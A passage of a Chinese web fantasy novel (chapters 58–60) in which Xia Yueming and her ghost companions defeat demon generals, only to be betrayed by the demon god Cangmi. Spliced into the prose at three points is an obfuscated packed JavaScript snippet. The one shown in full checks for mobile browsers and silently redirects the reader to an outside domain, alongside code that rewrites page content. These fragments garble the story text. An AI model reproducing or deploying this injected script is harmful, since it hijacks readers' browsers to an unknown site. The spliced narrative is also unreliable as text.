而后在焰龙身后,响起了诅咒气急败坏的咒骂:“***(此处省去一段脏话)卑污下流无耻阴险自以为是的贱女人,三番五次道德绑架威胁老子,老子他妈倒了八辈子霉找上你了,等老子找到解除链接的办法,一定亲手把你撕成碎片再一块一块吃下去嚼烂再拉出来扔粪坑里,靠!” 58. 金鸦恋火 被骂的夏月明眼睛明亮,淡定地躺在诅咒怀中,仿佛被他咒骂的不是自己一样,对他眨眨眼睛微笑道:“祝你成功。” 这一瞬间,突然预感了自己往后命运的诅咒忍不住脊背发凉。 他烦躁地咬着牙,很想说些什么试探一下她此言深意,却害怕说出来的话刺激了她,让他的未来更加艰难。 被憋回心里回炉重造的言语化作颗颗冷汗,从他额头滑落。 夏月明很贴心地抬起手来,帮他擦掉汗珠。 这一动作,令诅咒悬着的一颗心终于死了。 他确定了自己猜想。 就在刚才的一瞬,怀中这丫头终于放下了长久以来束缚在她身上的道德枷锁,她不再会为麻烦到他而歉疚惭愧、自我感动了,因为她知道他做的一切本都只是为了他自己。 他只是恰好在害她的时候偷鸡不成蚀把米,不得不为了自己活命而在意她的性命,若有可能的话,他一定是第一个弄死她的。 想通这一点之后,她便可以毫无顾忌与羞耻地利用他了。 可恨,可恨啊! 夏月明通过他不经伪装的表情,知晓他已明白了自己的意思。 在焰龙再次呼啸而来之时,十分心安理得地搂住了他的脖子,在他耳边微笑道:“万咒之皇,既然我们同命相连,那就各凭本事,互相利用,一起活下去吧。” 诅咒愤恨地咬着牙,不甘心地抱起她腾空一跃,从牙缝里挤出三个字:“不要脸!” 可恶,被她找到他的正确使用方法了。 金乌的攻势愈发强烈,若只躲不攻,葬身火海便只是时间问题。 夏月明在诅咒怀中安心地闭上眼睛,集中注意力开始分析起与金乌对战以来的一切细节,企图找到破解之法。 另一边,屏息调养的阿九听到了“滴答滴答”的水滴声,不自觉皱起眉来,睁开眼睛。 宁渊也在同一时刻睁开眼睛,一人一鬼神情凝重,一同望向不远处被冻住的六神将。 冰块在融化。 六位神将身上散发着微弱金光,衬得那冰雕宛如一件稀世的艺术珍品一般,美得让人胆寒。 在神力的催化下,要不了一个时辰冰块便会全部化完。 顾不得身上伤痛,宁渊站起身来,对阿九道:“我去找阿浅。” 眼下形势危急,必须尽快打败金乌,才能挣得一丝胜机。阿浅与他同宗同门,修的都是水系术法,对付火有天然优势,二人联手定可以帮夏月明削弱金乌法力。 “带上我。”阿九稳定魂息,朝他伸出手来。 “嗯。”宁渊犹豫稍许,扶他起身。 待夏月明终于想出对付金乌的办法之时,他们也正好带着这一噩耗一同赶来。 业灾的疫病并非人多可破,因而在小婵的劝说下,李灵恪也跟着阿浅一同赶来,先支援这边。 眼见他们已经打败了三位魔将,还打算继续合作,魔将栖风有些慌了,传音来问金乌要不要合作。 金乌嗤笑一声,不屑道:“若对付区区凡鬼也要联手,不配为魔将。” 栖风吃了瘪,继续玩小草。 夏月明心里稍稍得了点微不足道的安慰。 魔神也有魔神的心理包袱,这便是他们通往胜利的暗门。 不过一个魔将都这么难对付,六位被激怒的神将的实力就不言而喻了。 无论如何,得想办法在可以制住凛啸的前提下将他释放,腾出相纸来封印六神将。 夏月明眉头皱成了天眼。 要是能多几张相纸就好了。 更悲观的是,魔神的自大也不是没有根据。出身水修名门的江汀浅和宁渊所御之水,竟然对金乌之火毫无作用,靠近瞬间便会被烧干——这火温度太高了。 便在众人绝望之际,夏月明听见小白低声自语,语气中带着几分懊恼:“我真是废物,好不容易觉醒的恋之火,除了在最为没用的燃速上稍占上风外,没有半点优势可言。” 她突然有了灵感。 “阿九,你可以听到空气流动的声音吗?火焰生起的时候,空气应该会动。” 阿九微怔,他从前从未想过这些,旋即颔首道:“可以一试。” 他魂力未复,气息浮沉,但见众人皆在力竭中死拼,亦不愿独留余力。 这出好戏起伏跌宕,几至穷途,却又死地逢生,真是他平生所见,最叫人拍案称奇的一场。 便是灰飞烟灭,也要博个痛快有趣的结局。 他闭上眼,竖起耳朵,凝神去辨夏月明所说的气动之声。 此刻情势危急,他将心神压至极限,无暇去顾身体的反应,只死死锁定那道微渺的气息波动。 起初,脑海中只有各种小鬼哀嚎和同伴带他躲火球的动静。 渐渐地,他可以听到远处风声和同伴们的心跳声。 可那微弱的气动之声,他却始终无法精确捕捉。 额角已渗出细密的汗珠。就在他几乎要放弃时—— “找到了。”阿九睫毛轻颤。 像是有一缕月光穿透乌云,又似春风拂过湖面,在无数次误判后,那道比蛛丝更纤细的气流终于缠上他的感知,如同夜行者望见彼岸的渔火,霎时照亮了整个混沌的识海。 自此风动草响,焰升气转,无不落入感知之中,了然于胸。 伙伴们皆振奋不已,在阿九精确报出接下来火球产生的方位后,夏月明道出了下一步计划。 “阿九,接下来,哪里气动,就让金鸦以最快速度飞去哪里。” 阿九点头。 气动到金乌燃起火球的速度,比金鸦冲刺稍慢一些,夏月明安心,以心音告诉小白:“把恋火附在金鸦上。” 既然浇不灭,那就还是老办法,用魔法打败魔法,用火来灭火。 金鸦带着粉色恋火,提前飞到金乌火焰将要生成的位置夺取生存资源,燃尽了那里的氧气。 粉焰:打架我不行,干饭(氧气)第一名! 没有氧气,就算是金乌的魔焰也无法燃烧。 “成功了!” 眼看火球尚未生成便被消解,众人心中振奋不已。 阿九凝视着夏月明,眼底像是落进了细碎的星子,熠熠生辉。 她又让他看了一场意料之外的好戏。 小白不动声色走到他视线前方,隔绝了他的凝望。 阿九摇头笑了下,原本紧张的心情因此而放松了一些。 金乌并不知晓他们为何而振奋。 就在金鸦振翅掠向火源之时,宁渊也掐起一道水诀做障眼法。 他分寸掌控极妙,恋火仅是燃起速度快,灼烧力度比不上金乌之火,因而他释放的水量也比从前更少,水被恋火烧干的速度几乎与遇到金乌之火时一致,使这场欺瞒天衣无缝。 在金乌看来,那颗火球正是被宁渊的邪门的水系法术消解了。 她暗自决定下次要加大火力,早点烧干他的水! 金乌周身气浪翻腾,气势蓄满,眼看便要发动最后一击。 夏月明眸光微敛,知若不借此一搏,恐再无翻盘之机。 她扭头严肃地看向小白。 小白知道她想说什么,垂眸低声道:“主人……我的力量,还不够。” 语气中带着一丝难掩的歉意。 夏月明没有迟疑,握住他冰凉的手掌,认真地问:“这样够了吗?” 他记得小白说过,恋鬼的力量会因主人的亲近而增强。 小白愣了一下,脸颊染上红晕,却强自克制地抬眸。 他望着夏月明那张冷静的脸,坚定回道:“够了。” 谁知夏月明眉头微皱,竟一脸认真地说道:“牵手太碍事。” 话音未落,她忽的从背后抱住了他。 “这样方便一些。” 本应亲昵暧昧的姿势,在她丝毫不乱的坚定神情下,透出一种几近庄严的决然。 小白的心境却无法与她共鸣,他瞳孔微震,身体僵住,感觉与她相亲的每一寸皮肤都在产生炽热暖流,又猛然涌向胸口。 心魄荡漾,意燃情动,他周身燃起淡粉色焰光,似心念化形,在回应她的拥抱。 火光之中,小白白衣胜雪,银发垂肩,清冷俊美得如山中月影。而那一缕缱绻的粉焰,又令他周身多出几分惑人的艳色,仿佛玉雕染焰,美得近乎不真实——冷傲中透出几分妖冶,矛盾却动人。 金乌反掌捏诀,炽热之气将沸未沸之时,阿九眼神一凝,低喝:“来了。” 他衣袖轻震,五只金鸦倏然飞出,振翅间化作五道金影,精准掠向空中五处尚未生火的焰球原点。 几乎同时,小白手掌一翻,五缕粉焰自掌心跃出,附着于金鸦羽翼之上。 金鸦携焰掠过五个即将凝聚的焰球生成点,魔焰未生,气已燃烬。 五颗焰球仿佛被硬生生扼住喉咙,焰光未起便崩散于空。 金乌凤目骤缩,眼看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只见她袖口一震,一道火红龙影自她掌心暴掠而出,竟是纯粹火焰之形,赤焰如潮,势若惊雷。 众人惊愕不已。 那火龙裹挟着汹涌热浪,扑向四颗焰球,将其生生缠绕包裹。 火中吞火,反成窒息之局。 火龙燃速不输粉焰,甚至更暴烈几分——四颗焰球在它体内嘶鸣翻滚,火力开始因燃料不足而逐渐消解。 众人惊疑交加,李灵恪更是目瞪口袋看着阿浅,仿佛在说:“我去,你这么牛?” 在此刻之前,他从未想过他的队员,他的捧哏,竟有这么恐怖的实力。 那四颗焰球依然飞来,等临近地面时,只剩巴掌大小的微型火球。 金乌双瞳倏然收缩,夏月明也惊得一愣,旋即猛然转头,高声喊道:“宁渊!” 同样被阿浅实力大震,神思恍惚的宁渊被这一声唤回心神,他面色坚定地朝夏月明点了下头,随即脚步沉稳踏前,周身剑意冲霄。 “千山——雨落!” 灵气翻涌,吹动他的衣袂与墨发,他眉眼似玉,风骨傲雪,剑意破霄,剑阵疾起,宛如狂风骤雨,直指尚未回神的金乌。 被火龙消解成拳头大小的火球在地上砸出四个大坑之时,剑雨也朝金乌落下。 金乌怒啼,高举羽翼欲挡,但下一秒,金羽飞散,神息溃乱,金乌发出一声怒哀般的咆哮,整个躯体轰然坠地。 四野寂静,唯有光阵余辉犹在天际盘旋,未曾褪尽。 李灵恪瞪着眼,连眼珠都要掉出来一般,嘴张得几乎能塞下一颗火球,眼神在阿浅、宁渊和金乌之间不断徘徊:“你、你们,你们打败了那个怪物?”随后狂喜高呼:“太厉害了吧!!不愧是我缉灵司先行队六队队员啊!!” 满眼崇拜喜悦过后,他的面色突然一滞,察觉哪里不对…… “呃……我也是六队的,怎么我……?” 尴尬了…… 于是他开始使劲儿挠头,怀疑自己是不是丢失了哪段记忆—— 明明就因为大家都是菜鸟才被闵大人分到先行队的啊!队长选拔的时候,也确实是他胜出了呀。 怎么现在这俩队员一个比一个能打,他这个正队长反倒像是搞后勤的! 想了半天后,他似恍然大悟般“哦”了一声,随后泪眼汪汪,委屈巴巴质问道:“你们是不是找到什么秘籍,背着我偷偷修炼了?说好的三人同心,其利断金呢?” 结果你们两个就断了,显得我很没用诶呜呜呜! 宁渊没在意他的质问,缓缓收剑,深吸一口气,低头严肃地看向阿浅。 阿浅不敢抬头回应任何人的目光,立了大功的她竟像是做错了事的孩子,攥着的拳头还在微微颤抖。 59. 业灾栖风 夏月明察觉二人间气氛有些不对,便问:“怎么了?” 宁渊收回目光,淡淡道:“没事。” 夏月明“哦”了一声,正欲回头,就听见耳畔传来诅咒贱兮兮的声音:“你信吗?我敢打赌,他们两个肯定有奸情!你看那小白脸的眼神,都快把人看化了,啧啧啧——” 夏月明对诅咒的揣测丝毫不感兴趣,仿佛听不到他的□□一般,将注意力重新投向战场:“走吧,去找小婵。” 阿浅默默松了口气,看来宁渊没打算当众揭穿她。 现在唯一的顾虑就是——队长李灵恪。 只见他像一只兴奋的大尾巴狗狗一般,疯狂甩着并不存在的尾巴,两眼放光地在宁渊和阿浅之间窜来窜去。 “告诉我告诉我,你们到底怎么做到的啊!我也好想向你们一样,回去给闵大人一个惊喜,嘿嘿没准他还会告诉我师傅,他老人家知道了,一定会震惊到胡子都竖起来的!天呐我想想都觉得好玩哈哈哈哈,求求你们告诉我吧,我愿意把一个月,不,一年的俸禄都分给你们!” 阿浅不敢接话。 看他大有不问出答案不罢休的架势,宁渊忍不住拧眉,提醒道:“灵恪,我们在办正事。” 李灵恪闻言,像被捏住后颈的小狗一样呆了下,然后立刻像个做错事的孩童般,紧紧捂住了自己的嘴巴。 那些将要出口的疑问全被堵在嘴里,鼓满了双颊,没一会儿又全从那水汪汪的大眼睛里冒出来了,又好笑又可怜。 见他一副快要被憋坏的样子,宁渊无奈地摇了下头,嘴角的严肃也淡了几分,语气平和地解释道:“先前负伤,承蒙夏姑娘赠予两颗灵果。其一用于疗伤,另一颗……”他顿了顿,用词含蓄却清晰,“……夏姑娘言明,若遇搏命之机,或可斟酌服下。” 魔窟如此避讳生人,神之眼又无法察觉生人动态,因而夏月明猜测他们像鬼一样,会被强大的生灵之力伤害到。 但人体能承受的灵力是有限的,她也不确定多吃一颗灵果会不会被灵力反噬,只能赌。 方才对付金乌的最后一击,就是宁渊认为可以赌上性命的时刻。 见识过灵果奇效的李灵恪听罢恍然大悟,拖长了调子发出一个元气满满的“哦——!”随即兴奋地拍手道:“原来如此!我怎么就没想到呢!我那时一只脚都被拽进鬼门关了,吞下一颗后,不仅身体痊愈,连灵气都‘咕嘟咕嘟’直往外冒儿!你连服两颗,难怪这般厉害!” 说完他转头看向江汀浅,笑着唤道:“阿浅!” 阿浅吓得一激灵,“啊?” 以为李灵恪就要逼问自己火系法术的来源,未曾想李灵恪只是欢喜地问:“你也吃了两颗吗?” “啊?啊!是、是……”阿浅心虚承认。 李灵恪听罢眼睛更亮,心里打起算盘珠子看向夏月明,快走两步到她身侧,期待地求道:“夏姑娘,也赐我两颗灵果吧,我与阿浅和宁渊实力相当,不,我还比他们还要强一些,给我吃两颗灵果,我定把那个贪吃噎死的魔将打得跪地求饶!” 众人思索半天,才反应过来他是说业灾。 见他似是信了自己的谎言,阿浅忍不住松了口气,心里默默向李灵恪道了声歉。 下一秒,她听到夏月明坦然拒绝了李灵恪:“没了。” 李灵恪如蒙天灾,备受打击:“啊?只有四颗吗?” 阿浅的心又提了起来。 但夏月明竟并未否认,只淡淡应了声:“嗯。” 似是察觉了她的心虚,有意帮她隐瞒一般。 蓦然间,阿浅心头一暖。 她盯着前方女鬼脆弱却坚毅的背影,心中被莫名而柔软的情绪充盈着,唇角忍不住弯起笑意,无声地对她道:“谢谢。” 夏月明突然感觉脊背发凉,似有一道极为怨念的眼神正盯着自己。 但她浑不在意。 在她身后将近二十米的位置,站在原地激情八卦了半天,才发现自己被队伍落下的诅咒气呼呼抱着胸站在原地,怨念地怒视着忽略自己、带队伍离开的夏月明,以示抗议。 结果无人在意他的小脾气。 眼看夏月明已走到快二十米外还没回头喊他的意思,他只能板着脸,瞪着她,气呼呼,同时屁颠屁颠地又飞回她身边,心里默默又给她记了一笔。 金乌陨落,天地间浮动的燥热缓缓散去,如同一锅沸水终于掀过了最后一波气泡,归于沉寂。 空气中残留的焦灼气息尚未散尽,众人已踏入了业灾的法术区域。 这里万物腐朽,死气环绕,浓稠得化不开的灰绿色雾气如同活物般在低空弥漫翻涌,带着一股难以形容的甜腻腥气,直钻鼻腔,令人作呕。 地上覆盖着一层黏腻湿滑、如同腐烂脏器般的暗褐苔藓。踩上去,脚下还会发出“噗叽”的恶心声响。 枯死的树木扭曲成怪诞的爪形,树皮剥落,里面的黑色木质流着脓血。 四周聚集的小鬼早已不似人形,他们或肿胀腐烂,或干瘪萎缩,有的五官乱长,有的四肢收缩,如蛆虫般在地上蠕动,嘴里不断呓语:“救我……救、我……” 夏月明突然意识到,先前在石堡看到的那些鬼魂,恐怕也都是业灾的手笔。 她抬头望向金殿顶端。 苍弥正悬立于金殿之上,他赤袒的上身如寒玉覆雪,泛着冷冽的神光,金色神纹自胸膛蜿蜒而下,沿着紧窄的腰线隐入腰际的金纹云缎之下,云缎随风轻动,愈显他身姿峻拔、神威凛然。 如高天之主,孤傲冷漠,无喜无悲。 察觉他金眸垂落,夏月明慌忙收回目光。 众人又行二十余步,阿九忽然跪倒在地,身上被雷电留下的黑色纹路上隐有蓝色电光游走。 他痛苦咬牙,全身青筋暴起,魂体已然到了极限。 夏月明轻轻按住他颤抖的肩膀,又看向依依:"依依,你和阿九留在这里,以防我们遇到什么不测。" 为了让他们心安,她故意没用“休息”一词。 又将身侧伙伴环视一遍后,她的视线落在李灵恪身上:“灵恪,你和他们一起。” 李灵恪表情僵住,眼中失落一闪而过,随后露出灿烂笑容:“没问题!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866784|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完又探头到夏月明耳边,悄声恳求:“要是情况危急,一定要记得喊我哦!宁渊和阿浅都立了大功,我这个当队长的也不能太废物了……拜托拜托。” 夏月明看他挤眉弄眼哀求的样子,忍不住露出笑意,真诚道:“如果没有你,我们也得不到神器。” 一句话,不但肯定了李灵恪进魔窟以来的努力,还轻巧地抹去了他执意闯魔窟的罪过。 少年黑亮的眼睛瞬间水汪汪的,瘪着嘴一脸感动:“对哦!呜呜呜原来我这么重要!” 随后又小声嘟哝道:“要是闵大人也能这么想就好了……” 夏月明听见了他的嘟囔,笑道:“会的,只要我们真能把神器带出去。” 少年像个乖宝宝一样坚定点头,却在夏月明转身离去后,皱起眉头,清澈的目光变得复杂起来。 众人告别依依、阿九和李灵恪,转身向山谷深处那令人作呕的腐败气息源头走去。空气中弥漫的死寂与不安越发浓重。 夏月明的手自然地牵住小白冰冷的手掌,以帮助他稳固因连番激战而有些动荡的魂核。小白的手指几不可察地颤了一下,心湖像被投入一颗小石子,漾开细微的涟漪,逐渐抚平了魂核的躁动。 他努力收敛心神,目光锐利地扫视前方。 山谷中央的景象令所有人顿感头皮发麻。 那是小婵吗? 一滩不断蠕动膨胀的不定形肉块构成了主体,其上诡异地穿刺出数根骨刺。部分区域覆盖着半透明、粘腻的薄膜,薄膜下是不断变幻形态、涌动着脓液般气泡的内部结构。几段类似昆虫节肢的黑色肢体无力地抽搐着,连接处是流淌着暗绿汁液。 在那扭曲肉山的顶端,一张勉强能辨认出五官轮廓的脸庞嵌在那里,皮肤呈现出不祥的灰败石化感,唯有一双属于小婵的、盈满巨大痛苦的眼睛,绝望地透过这非人的躯壳望着他们。 “别过来!”那声音嘶哑变形,带着粘稠的摩擦音和多重回响,刺得人耳膜生疼,“快走!你们会被感染的……” 宁渊与江汀浅对望一眼,看到她眼中的震撼和恐惧。 明明她和李灵恪去支援夏月明之前,小婵还是人形。 江汀浅心下难过又愧疚,那时小婵刚感染了疫病,便急切地劝说他们离开,想来是预感到自己的魂体将要变化了,不想传染给他们…… 众人魂在肉山前止步,惊骇、愤怒、心疼……复杂的情绪在他们脸上交织。 突然,一股阴冷、带着明确指向性的恶风,毫无征兆地从山谷最幽暗的角落席卷而出。 它精准地裹挟起弥漫在小婵周围、那些散发着诡异斑斓光泽的浓浊毒气,使它们化作无数条粘稠、色彩妖异的毒蛇,猛然朝着众人呼啸而来。 “是栖风。” 夏月明意识到,最强的魔将金乌败北,迫使最后的两位魔将也不得不联手了。 毒与风配合得天衣无缝,不给任何闪避或反应的时间,令他们的视野瞬间被妖异致命的斑斓填满,刺鼻的气味将众人包裹。 如果毒发此地,恐怕比魂飞魄散还要惨。 60. 星星之火 斑斓毒蛇扑面而来之际,小白迅速抬手,一圈粉焰蹿升在众人周围,化作半透明球形火盾,将毒气隔绝在外。 毒雾撞上火盾,立刻被焚烧成缕缕黑烟。 众人松了口气。 “哎呀呀,好险好险!”诅咒夸张地拍着胸口,但那副吊儿郎当的笑容怎么看都不像受了惊吓。他懒洋洋地探出半个身子到火盾外头,吐槽道:“没想到这鸭子鬼还有点儿用。” 小白歪头,疑惑地眨了眨眼:“鸭子鬼?” 夏月明抬眼望去,见诅咒探出护盾的那部分身体,在毒雾中竟毫发无伤。 她欣喜道:“你不怕火,也不怕毒气?” “非也非也~”诅咒得意洋洋地在空中转了个圈,身体像烟雾一样飘逸。 他摊开双手,一脸嘚瑟:“这毒气嘛,对人有害,对鬼有害——我非人非鬼,怎会中招?至于这骚包粉火……” 他笑嘻嘻地伸手戳了戳火盾:“鸭子鬼的法术伤不到主人,我不过是沾了你的光。” 说完还猛吸了一口毒气,一副陶醉模样地叹了口气:“呼——上头。” 话音未落,一阵狂暴阴风席卷而来,将他吹成一条几欲飘散的黑线。 “卧槽!” 诅咒急忙缩回夏月明体内。 风浪之中,火盾剧烈颤动,宛如风中残烛,眼看就要熄灭。 夏月明眉头紧蹙,小白手指轻颤,额角冷汗渗出。 江汀浅亦尝试补充火焰,却收效甚微。 就在这时,小白像是感应到了什么,神色一凝,扭头看向夏月明提醒道:“主人,六神将快要解冻了。” 夏月明脸色一变,懊悔自责:“我该想到的。往常万年不化的寒冰……要是六位神将联手,撑不了几个时辰。必须在冰彻底化掉之前解决凛啸,空出相纸,再将六神将封印进去。” “可用过一次的招数,他们都有了防备,该怎么办?” 夏月明决定赌一把:“能对付凛啸的,只有业灾。” “我就知道你会选这路数!”诅咒嗖地冒头,兴奋得像偷糖的小孩,“凛啸的冰盾能挡物理和法术攻击,却未必挡得住‘无形之灾’!只要他挡在最前面……” “他就会‘生病’!”小白眼睛一亮,接话道,“我们正好可以躲在他身后,借冰盾挡灾,反守为攻。” “嗯。”夏月明点头,“利用魔将之间的力量,让他们自相残杀!这是目前唯一能在短时间内重创凛啸,空出相纸的方法。” “高明!”江汀浅眼睛亮晶晶地看着她,像个发现宝藏的小迷妹。 只有宁渊微微皱眉,隐隐察觉哪里不对。但望着夏月明笃定的神情,他终究什么也没说。 众人分工,执行计划。 诅咒火力全开,用堪称神级的垃圾话功力对着业灾开喷,仇恨值瞬间拉满。 小白则趁乱吸引栖风注意,牵制其行动。 不得不说,在“精神污染”这方面,诅咒堪称翘楚。业灾虽然没被他激怒,却也烦得头疼,急于想让他闭嘴找点清净。 他周身的黑绿色雾气疯狂涌动,就要朝众人释放而来。 “就是现在!阿浅,水笼!”夏月明找准时机,急声对阿浅道。 阿浅早已结印,一挥手,一道湍流破地而出,将业灾困入一个半透明的巨大水笼中。 “水笼子?”业灾冷笑,“小姑娘,养鱼呢?” 他正要撕裂牢笼,忽然,一股寒气骤然袭来—— 宁渊已解开了相纸的封印,凛啸一声狂啸,破冰而出:“蠢货!还敢用同一招骗我?” 冰晶铠甲耀目生寒,释放出比上次更纯粹、更凶猛的寒流,将周围一切尽数冰封。 包括业灾。 或者说,他本就是冲着他来的。 ——他早听到了夏月明的计划,自破封印那刻起,就果断先发制人,直接冰封全场,防止自己先被业灾污染。 此刻,业灾释放出的所有凝聚压缩、足以瞬间污染方圆数里的恐怖毒气,全都被牢牢地禁锢在这个由他的“好”同僚和阿浅亲手打造的冰晶囚笼之内。 “蠢货,快放我出去!”业灾双目通红,咒骂着命令道。 但凛啸置若罔闻。 他早已看穿抓鬼相机的破绽——无法封印距离相机过近的目标。 所以他决定——冲过去! 夏月明举起相机的瞬间,凛啸也裹着寒气朝她袭来。 “啧,傻大个学聪明了。”诅咒骂咧咧抱起夏月明撒腿就跑,“封不了他了。” “引他过去。”夏月明指向前方困住业灾的冰笼,悄声道。 “你疯啦?那冰笼子可封不住渗进地面毒气!” 被困的业灾正拼命将病毒往地下灌,毒气沿着土壤悄然扩散,冰笼四周的地面升腾着诡异的紫雾。 “放心,我不会中毒——”夏月明抱紧诅咒脖子,安心地扬起唇角,“沾你的光。” 似曾相识的一句话。 诅咒一怔,随即咧嘴大笑:“好家伙,伏笔回收得真溜!” “坐稳了!”他话音刚落,就化作黑雾裹住夏月明,带她冲向冰牢边缘。 果然,凛啸见状立刻追来,一掌冰锥甩向两人,被诅咒轻松躲过,他自己却无意间踏进了业灾释放的病毒领域。 凛啸脚步一顿,脸色骤变。 ——就在他脚步落地那一刻,从冰层之下顺着土地蔓延出来的疫病,瞬间缠上他的双脚。 “这是……”他瞪大双眼,呼吸急促,胸口起伏剧烈。 “呃啊啊啊——!!!” 剧痛爆发,他惊怒咆哮,眼中第一次浮现“恐惧”。 远处,江汀浅激动得跳了起来:“我还纳闷明明凛啸能直接冻住业灾,夏姑娘为啥还让我套一层水笼,原来是为了保存毒气,留给凛啸!” 站在她身侧的宁渊恍然一笑,心悦诚服道:“她故意说出让凛啸挡灾的策略,就是为了让凛啸听见,好借他的防御,把他自己送入疫毒之中。引虎入笼,借毒伤敌,夏姑娘又算好了每一步。” 原本听她说出计划时,他还担心她忽略了魔将能听见他们对话的事实,想出声提醒。 可见她神情笃定,他便迟疑了,猜测她是否另有筹谋。 果然如此。 那时小白忽然提到被封印的神将,想来也是听到了她悄然传去的心音。 封在相纸中的凛啸无法与外界联络,一旦听见他们的对话,便只能自行谋划,先发制敌; 而业灾同样听到了,为免让她如愿误伤同伴,故意放慢施法节奏。 正是这微妙的算计产生的时间差,造就了她计划的完美落点。 此刻,凛啸已被疫毒侵蚀,力量急速衰退,肉身腐坏溃散; 而被他冰封的业灾暂时安全,却也动弹不得。 两个魔将,在夏月明的算计下,竟落得个两败俱伤的下场。 妙啊。 少年清冷英俊的面容上,流露出十足的欣赏。 他想起初见之时,夏月明曾请他们帮忙将她引荐给闵大人。 那时他对缉灵司沾染鬼物深感不适,如今却觉得,若缉灵司真能收下这等鬼才,也未尝不是一桩幸事。 冰笼边,诅咒嚣张地踩在被毒气渗透的土地上,阴阳怪气地挑衅:“啧啧,让我看看,这不是那个因为太替同事考虑,反而被愚蠢同事坑了的可怜魔将吗?哈哈哈,现在你同事也被你搞成了废物,两不相欠啦,不过六神将一起,都还需要几个钟头才能解冻,你一个……恐怕要在空调房多待一段时间了。” 夏月明也松了口气,现在,就剩下栖风一个了。 解决完栖风,再将六神将封印进相纸,他们便可以离开这里了……吗? 她忍不住又朝金殿上空的冷漠魔神看了一眼,莫名心头一紧。 裁判是敌人阵营的比赛,怎么也让人无法安心。 同小婵等人暂时道别后,夏月明同伙伴们来到了栖风所在的地方。 狂风大作,木石乱飞。 小草在风中大喊:“哇啊啊啊啊啊——” 声音凄厉得仿佛要被吹散架,结果风一停,他反倒一脸懊恼地抬头瞪着栖风,气鼓鼓地嚷:“你干嘛停啊!我都快飞到云上去了!” 语气活像是排队排到一半,结果遇到过山车临时检修。 站在龙卷风阵边的小白翻了个白眼,似等小孩的家长般无奈叉腰道:“你玩够了没?” 栖风原本因同伴接连败北压力山大,被小孩子一挑衅,脸更红了,咬牙切齿地准备来个大的—— 结果风更大,小草玩得更开心。 阿浅眸光一凛,提剑道:“我们一同上吧?” 夏月明却笑着摆手:“不用了。” 众人以为她又有什么妙计,竖耳聆听,结果她淡淡道:“孩子难得这么开心。” 众人:?虽然但是…… 阿浅弱弱提醒道:“现在好像不是玩儿的时候……” 察觉自己话没说明白,夏月明笑着解释道:“虽然小草被困在栖风的风阵中,但栖风……何尝不是被小草困住了呢?这样来说,第六位魔将也算解决了。” 这虽是诡辩,却也不无道理。眼下时间紧迫,孩子也确实贪玩,众人思索后,决定一试。 此时天边突兀传来异响。 “咔、咔——” 一声接一声,如巨冰开裂。 众人心中齐齐一凛,夏月明倏然转身:“是六神将的封印!” 他们疾步赶往冰封六神将所在地方,却在途中望见那里早已空空如也。 夏月明心中有不祥的预感。 还未来得及反应,便感觉有森冷威压从头顶罩下。 众人仰头一看,只见神光凛凛的苍弭悬于半空,六位神将整齐列于他身后,眸光森寒。 苍弭嘴角轻勾,宛若审判者俯视蝼蚁,懒懒吐出四字:“游戏结束。” 夏月明深吸了口气,努力保持镇定,冷声问道:“我打败了六魔将,你答应会放我们走。” 苍弭缓缓垂眸,语气淡然:“你应当知晓,与魔神做交易,仅以道德为约束,是不够的。”他指了指脚下,“更何况,交易发生的场地是——千魔窟。” 说罢他轻轻抬手,一道神光波荡开来,空气扭曲。 六魔将接连现身,自他们被击败的战场走来,如幽灵重现,毫发无损。 “你看,”苍弭淡然开口,“你真的赢了吗?” 这一瞬,夏月明的心如坠寒潭。 所有努力、牺牲、咬牙坚持,竟不过是一场被安排好的笑话。 她只觉得喉间发涩,颤声问:“你原本就没打算放我们走?” 苍弭眸光温柔却残忍:“你可以留下。乖乖做我的宠物,我便给你活路。” 她咬牙,双眼死死盯着他,声音发颤却倔强:“那他们呢?” 她扭头看向她身后的伙伴们。 宁渊面色苍白,左臂垂落,鲜血淋漓,神色中的坚毅却丝毫不减; 小白站立不稳,魂息飘忽,却仍以温柔笑意回应她的目光; 阿浅皮肤布满烧伤,嘴角溢血,一双眼神却格外坚定; 诅咒……嗯,不提也罢,这个无赖的家伙竟在她耳边偷偷劝导:“我看你就答应他吧,瞧他神通广大的,当他的宠物,不用为生存的事儿发愁,没准还能得到些神力来修炼呢。” 还有无法同行至此的依依、小婵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你是——”夏月明脑海中出现了那个曾为她指明方向的火光,一瞬间,眼中泪光闪烁,连带着声音也哽咽了:“那个烛台?” “嗯。夏姑娘,无论如何,你们必须出去,这是我们能窥见希望的唯一途径了。” 群鬼无声点头,齐齐踏前,将夏月明一行团团护住。 丑陋不堪而弱小的鬼群,坚定地与大他们数倍的神将对峙着。 他们破碎、渺小,甚至称不上“兵”,却如众星拱月般,迎着神将之力,毅然不退。 苍弭眉眼微沉,漠然问道:“凡人是如何对付虫子的呢?” 屠苏轻笑:“踩死。” 刹那间,神将与魔将随意施展了微毫之力,却如同对鬼群施行了灭绝之力,大片弱小魂灵如纸燃尽,四散消融。 再次复苏的十二将领,变得比以前更强了。 夏月明咬牙含泪,怒不可遏,可她已使出浑身解数,没有其他办法了…… 弱小的她,苦苦挣扎,仍然带领伙伴们走向了毁灭。 不……不该是这样的…… 泪眼模糊,她多希望自己能再强大一点点,再强大一点点…… 明明作为穿越者,应该有金手指才对,为何这样狼狈? 金手指…… 金手指!? 她将手伸进袖袋中,握住藏于其中的两件宝物。 一件是阎君令牌,另一件,是陪她来到此地的玉佩。 魔神再强,难道比地府更强? 比那位,连天庭都忌惮的“鬼”更强? 虽然阎君令牌自她来到魔窟便失灵了…… 虽然她在此几遭死局,玉佩也再未显灵过…… 